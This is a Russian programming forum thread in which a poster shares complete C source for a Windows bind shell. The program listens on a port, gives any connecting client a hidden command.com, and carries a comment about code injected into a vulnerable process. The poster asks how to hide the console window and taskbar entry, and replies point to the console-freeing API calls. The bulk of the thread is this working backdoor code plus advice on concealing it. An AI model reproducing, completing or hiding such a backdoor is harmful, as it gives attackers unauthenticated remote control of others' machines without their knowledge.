Форум программистов «Весельчак У»
  *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

  • Рекомендуем проверить настройки временной зоны в вашем профиле (страница "Внешний вид форума", пункт "Часовой пояс:").
  • У нас больше нет рассылок. Если вам приходят письма от наших бывших рассылок mail.ru и subscribe.ru, то знайте, что это не мы рассылаем.
   Начало  
Наши сайты
Помощь Поиск Календарь Почта Войти Регистрация  
 
Страниц: [1]   Вниз
  Печать  
Автор Тема: Сокеты, консольные окна .... ?  (Прочитано 12353 раз)
0 Пользователей и 1 Гость смотрят эту тему.
Coder.ua
Гость
« : 17-10-2005 09:55 » 

В общем я пишу программу которая будет давать мне возмоность подсоединяться к удаленному

компьютеру.
То есть. Я устанавливаю эту программу на своем компе. Она слушает порт 1234. Далее я подключаюсь

к это му порту с удаленной машины командой типа "netcat <IP-адрес_компа> <порт>". И после этого

программа запускает командный интерпретатор, и я могу работать с удаленной машиной.
Я программу создаю типа Win32 Console App. При запуске программы на экране появляется окно сеанса

MS-DOS. Как можно сделать, чтобы программы не было видно. То есть чтобы не было на панели задач и

на экране тоже, но возможно присутствие в диспетчере задач.

Программу пишу под Windows 98.

А пробовал создавать Win32 App, и переделывать под него, так он мне столько ошибок выдает
Вот исходники программы ConsoleApp!
-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include "spawn.pipe.h"         

#define MY_PORT      1234
#define MAX_BUF_SIZE   1024   

DWORD WINAPI SexToClient(void *csocket);

int main()
{
   DWORD   thID;
   HOSTENT   *hst;
   SOCKET   lsocket;
   SOCKET   csocket;
   struct   sockaddr_in laddr, caddr;
   char buff[MAX_BUF_SIZE];      
   int caddr_size = sizeof(caddr);


   
   if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
      
   
   lsocket = socket(AF_INET, SOCK_STREAM, 0);
   
   
   laddr.sin_family       = AF_INET;
   laddr.sin_port         = htons(MY_PORT);
   laddr.sin_addr.s_addr   = INADDR_ANY;
   if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

   
   if (listen(lsocket, 0x100)) return -1;
   
   // Ну это я забираю
   //printf("wait for connection...\n");

   
   while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
   {
      
      hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
      sprintf(buff, "+%s [%s] new

connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
      send(csocket, buff, strlen(buff), 0);

      
      CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
   }

   closesocket(lsocket);
   WSACleanup();
   return 0;
}

DWORD WINAPI SexToClient(void *csocket)
{
   sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
   closesocket(((SOCKET*)csocket)[0]);
   return 0;
}



#############################################################3



------------------------------------------------------
spawn.pipe.h
------------------------------------------------------
#ifndef __SPAWN_PIPE_H__
#define __SPAWN_PIPE_H__

#define HELO         "hello\n"   // подтверждение связи
#define SHELL         "command.com"   // Командный интерпретатор            

   // командный интерпретатор
#ifndef MAX_BUF_SIZE
#define MAX_BUF_SIZE   1024
#endif

int sshell(SOCKET csocket, int n)
{
    char *buf;            // +
    //int c;
   unsigned int a;
   STARTUPINFO si;
   SECURITY_ATTRIBUTES sa;  // +
   PROCESS_INFORMATION pi;

   HANDLE cstdin, cstdout, rstdout, wstdin;  //pipe handles

   unsigned long fexit;  //process exit code
   unsigned long N;   //bytes read
   unsigned long total;   //bytes available


   buf = malloc(n);

   // возвращаем удаленной машине приветствие,
   // подтверждая тем самым, что удаленный код успешно внедрен
   // в уязвимый процесс и готов работать
   send(csocket, HELO, sizeof(HELO), 0);


   sa.lpSecurityDescriptor      = NULL;
   sa.nLength               = sizeof(SECURITY_ATTRIBUTES);
   sa.bInheritHandle         = TRUE;  //allow inheritable handles

   if (!CreatePipe(&cstdin,  &wstdin,  &sa, 0))  return -1; //create stdin pipe
   if (!CreatePipe(&rstdout, &cstdout, &sa, 0))  return -1; //create stdout pipe

   GetStartupInfo(&si);      //set startupinfo for the spawned process

   si.dwFlags      = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   si.wShowWindow   = SW_HIDE;
   si.hStdOutput   = cstdout;
   si.hStdError   = cstdout;     //set the new handles for the child process
   si.hStdInput   = cstdin;

     //spawn the child process
   if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &si, &pi)) return -1;

   while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))
   {

      //check to see if there is any data to read from stdout   
      if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
      {
          for (a = 0; a < total; a += MAX_BUF_SIZE)
          {
            ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
            send(csocket, buf, N, 0);
         }
      }      

      if (!ioctlsocket(csocket, FIONREAD , &N) && N)
      {
         recv(csocket, buf, 1, 0);
         if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);
         WriteFile(wstdin, buf, 1, &N, 0);
      }
      Sleep(1);
   }

   CloseHandle(cstdin);            //clean stuff up
   CloseHandle(wstdin);
   CloseHandle(cstdout);
   CloseHandle(rstdout);
   CloseHandle(pi.hThread);
   CloseHandle(pi.hProcess);
   return 0;
}

#endif //__SPAWN_PIPE_H__



##################################################################
Приведу также пример Win32Api APP

-----------------------------------------------------
bind.cpp
-----------------------------------------------------
#include <windows.h>
#include <winsock2.h>
#include <stdio.h>
#include "spawn.pipe.h"

#define MY_PORT      666   // Port
#define MAX_BUF_SIZE   1024   // Buffer

DWORD   thID;
HOSTENT   *hst;
SOCKET   lsocket;
SOCKET   csocket;
struct   sockaddr_in laddr, caddr;
char buff[MAX_BUF_SIZE];      // ЎгддҐа
int caddr_size = sizeof(caddr);

DWORD WINAPI SexToClient(void *csocket);

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
                    PSTR szCmdLine, int iCmdShow)
     {
     static char szAppName[] = "bind" ;
     HWND        hwnd ;
     MSG         msg ;
     WNDCLASSEX  wndclass ;

     wndclass.cbSize        = sizeof (wndclass) ;
     wndclass.style         = CS_HREDRAW | CS_VREDRAW ;
     wndclass.lpfnWndProc   = WndProc ;
     wndclass.cbClsExtra    = 0 ;
     wndclass.cbWndExtra    = 0 ;
     wndclass.hInstance     = hInstance ;
     wndclass.hIcon         = NULL ;
     wndclass.hCursor       = LoadCursor (NULL, IDC_ARROW) ;
     wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
     wndclass.lpszMenuName  = NULL ;
     wndclass.lpszClassName = szAppName ;
     wndclass.hIconSm       = NULL ;

     RegisterClassEx (&wndclass);

     hwnd = CreateWindow (szAppName,         // window class name
               "bind",                // window

caption
                    WS_OVERLAPPEDWINDOW,     // window style
                    CW_USEDEFAULT,           // initial x position
                    CW_USEDEFAULT,           // initial y position
                    CW_USEDEFAULT,           // initial x size
                    CW_USEDEFAULT,           // initial y size
                    NULL,                    // parent window handle
                    NULL,                    // window menu handle
                    hInstance,               // program instance handle
                  NULL) ;                   // creation parameters

     ShowWindow (hwnd, SW_HIDE) ;
     UpdateWindow (hwnd) ;

     while (GetMessage (&msg, NULL, 0, 0))
          {
          TranslateMessage (&msg) ;
          DispatchMessage (&msg) ;
          }
     return msg.wParam ;
     }

DWORD WINAPI SexToClient(void *csocket)
{
   sshell(((SOCKET*)csocket)[0], MAX_BUF_SIZE);
   closesocket(((SOCKET*)csocket)[0]);
   return 0;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
     {
     /*
    HDC         hdc ;
     PAINTSTRUCT ps ;
     RECT        rect ;
    */

     switch (iMsg)
          {
          case WM_CREATE :
           //MessageBox (NULL,"CREATED!!!", "SUCCESS", MB_OK);

   if (WSAStartup(0x0202, (WSADATA*) &buff[0])) return -1;
      
   //
   lsocket = socket(AF_INET, SOCK_STREAM, 0);
   
   //
   laddr.sin_family       = AF_INET;
   laddr.sin_port         = htons(MY_PORT);
   laddr.sin_addr.s_addr   = INADDR_ANY;
   if (bind(lsocket,(struct sockaddr*) &laddr, sizeof(laddr))) return -1;

   //
   if (listen(lsocket, 0x100)) return -1;
   //printf("wait for connection...\n");

   //
   while((csocket=accept(lsocket, (struct sockaddr *) &caddr, &caddr_size)))
   {
      //
      hst = gethostbyaddr((char *) &caddr.sin_addr.s_addr, 4, AF_INET);
      //sprintf(buff, "+%s [%s] new

connect!\r\n",(hst)?hst->h_name:"",inet_ntoa(caddr.sin_addr));
      //send(csocket, buff, strlen(buff), 0);

      //

      CreateThread(0, 0, SexToClient, (void *) &csocket, 0, &thID);
 
           return 0 ;


          case WM_DESTROY :          
            closesocket(lsocket);
            WSACleanup();
               
            PostQuitMessage (0) ;
               return 0 ;
          }

     return DefWindowProc (hwnd, iMsg, wParam, lParam) ;
     }

spawn.pipe.h - такой же  как и для предыдущего.
« Последнее редактирование: 19-12-2007 19:23 от Алексей1153++ » Записан
RXL
Технический
Администратор

ru
Offline Offline
Пол: Мужской

WWW
« Ответ #1 : 17-10-2005 12:19 » 

Освободи консоль.
Записан

... мы преодолеваем эту трудность без синтеза распределенных прототипов. (с) Жуков М.С.
Coder.ua
Гость
« Ответ #2 : 19-10-2005 09:51 » 

А в каком именно случае?
Записан
RXL
Технический
Администратор

ru
Offline Offline
Пол: Мужской

WWW
« Ответ #3 : 19-10-2005 11:23 » 

Не в каком, а вообще.

Цитата
MS-DOS. Как можно сделать, чтобы программы не было видно.
Записан

... мы преодолеваем эту трудность без синтеза распределенных прототипов. (с) Жуков М.С.
Coder.ua
Гость
« Ответ #4 : 19-10-2005 13:58 » 

А как именно это можно сделать! Я не знаю по тому и спрашиваю..
Записан
RXL
Технический
Администратор

ru
Offline Offline
Пол: Мужской

WWW
« Ответ #5 : 19-10-2005 21:30 » 

Цитата
Освободи консоль.
Зайди на MSDN и почитай про консоли.
Это не MSDOS окно - это win32 консоль. Ее можно создать и освободить.
Записан

... мы преодолеваем эту трудность без синтеза распределенных прототипов. (с) Жуков М.С.
aus
Гость
« Ответ #6 : 18-11-2005 12:43 » 

Уточните пожалуйста, где именно в MSDN смотреть? По каким ключевым словам?
Записан
npak
Команда клуба

ru
Offline Offline
Пол: Мужской

« Ответ #7 : 18-11-2005 15:11 » 

AllocConsole, AttachConsole, FreeConsole
Записан

UniTesK -- индустриальная технология надежного тестирования.

http://www.unitesk.com/ru/
Страниц: [1]   Вверх
  Печать  
 

Powered by SMF 1.1.21 | SMF © 2015, Simple Machines